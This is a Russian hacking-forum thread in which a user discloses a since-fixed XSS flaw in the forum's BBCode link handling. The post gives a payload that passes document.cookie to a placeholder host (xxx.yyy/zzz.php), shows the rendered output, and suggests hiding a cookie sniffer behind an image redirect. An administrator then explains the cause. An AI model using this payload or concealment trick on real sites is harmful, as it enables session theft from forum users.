Как начался мой поиск уязвимости: Просто мне сразу не очень понравилась идея мо скриптизацией форума, отчасти из за того что это сложнее защитить, и ещё потаму что я стараюсь практически не использовать js. Kill JavaScript И чтож, я решил проверить, насколько безопастдо это сделано, я тутже подставил в ссылку ' естественно это не прокатило, а так как я читал перед этим статьи с главной страници ачата, я вспомнил что если в js подставлять символы в виде &#HH, и они будут воспринематься как обычные символы, я подставил ' но или я читал не очень внимательно или там небыло написанно про то что ; после этого символа не только не воспринемается но и закрывает его, во всяком случае символ ; не указан в нижней таблице Взлом чатов by Algol. Теория и Практика. (страница 2), когда я подставил туда ' форум заменил символ & на &, на этом я и прекратил поиски. Потом я гдкто увиде, что можно и нужно писать их все с ; (все имел введу таблицу), я подставил, ' и увидел его в сорцах таким как и подставил, и я не долго думая закрыл открытую кавычку адреса подставил любимую переменную и сново открыл кавычку, чтобы форум её закрыл сам, в ркзультаттк получилась такая строка. [url=http://xxx.yyy/zzz.php?'+document.cookie+'ok]Test[/url] результат: <span title="Безопасная ссылка, Referer не передается: http://xxx.yyy/zzz.php?'+document.cookie+'ok" style="text-decoration:underline; cursor: pointer;" onclick="window.open('http://xxx.yyy/zzz.php?'+document.cookie+'ok');">Test</span> Как видно из примера, в скрипте "http://xxx.yyy/zzz.php" можно поставить снифер, а можно тудаже и редирект например на картинку, тогда никто не догалался бы что это снифер . P.S. Я повыделял это красным потому что форум фильтрует эти симыолы, а если их разделить другим тэго то всё норм P.P.S. Уязвимость, на данный момент, исправлена
Молодец, не каждый бы додумался, респект! Я понимаю тебя, хотел на паблик, чтоб все в лицо знали :d но можно было б и в привате оставить хсс, хотя паблик лучше, благородное дело сделал
поясняю, вот это видео от Zadoxlik\\\'a, так вот там про такие xss, оч понятно оъясняет. Кстати я тоже хочу 100 http://video.antichat.ru/file46.html
Немного поясню, откуда возникла такая проблема. Когда я настраивал безопасность форума, я проверял валидность URL-ов в строгом соответствии с RFC. Т.е. в урле могут быть только цифры, буквы, и некоторые спец символы. Амперсанд (&) тоже входит в число допустимых симоволов, поскольку он является разделителем атрибутов в CGI-запросах. Однако, помимо этого, он является и знаком HTML-кодирования символов вида Получается что, с одной стороны необходимо оставить амперсанд для таких вот ссылок open('http://ssss.www/?ss=22&ddd=11'), но с другой стороны ссылки типа этой open('http://ssss.www/?ss=22"ddd=11') разрушают джаваскрипт, поскольку парсер преобразует " в кавычку. Диллема. В настоящий момент, я выхожу из этой ситуации следующим образом: В ULR знак амперсанда заменяется на & . А при разборе такой ссылки браузером, он сначала преобразует & в амперсанд, и потом выполняется open().
hidden молодца , постарался ! И вообше народ че вы так прицепились к 100 репе , ну получил человек и получил !